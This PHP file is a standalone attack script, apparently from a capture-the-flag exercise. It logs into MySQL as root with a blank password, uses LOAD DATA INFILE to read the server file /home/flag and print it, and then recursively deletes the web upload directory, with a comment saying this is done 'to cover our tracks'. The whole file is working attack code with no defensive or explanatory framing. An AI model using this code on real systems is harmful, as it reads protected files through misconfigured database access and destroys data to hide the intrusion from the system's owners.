<?php
$user = 'root';
$pass = '';
$db   = 'DBClients';

/* login to database using blank root password */

mysql_connect('localhost',$user,$pass);
mysql_select_db($db) or die( "Unable to select database");

/* create flag table */
$q = 'create table if not exists flag (flag CHAR(50))';
mysql_query($q);

/* read flag into table */
$q = 'load data infile "/home/flag" into table flag';
mysql_query($q);

/* get the flag */
$q = 'select * from flag';
$result = mysql_query($q);
$info = mysql_fetch_array( $result );
/* dump the flag */
echo "The flag is \n";
print_r($info);
mysql_close();

/* recursively delete a directory */
function rrmdir($dir) {
   if (is_dir($dir)) {
     $objects = scandir($dir);
     foreach ($objects as $object) {
       if ($object != "." && $object != "..") {
         if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
       }
     }
     reset($objects);
     rmdir($dir);
   }
 }
/* Delete all uploaded files to cover our tracks */
$d = '/var/www/html/upload/';
rrmdir($d);
?>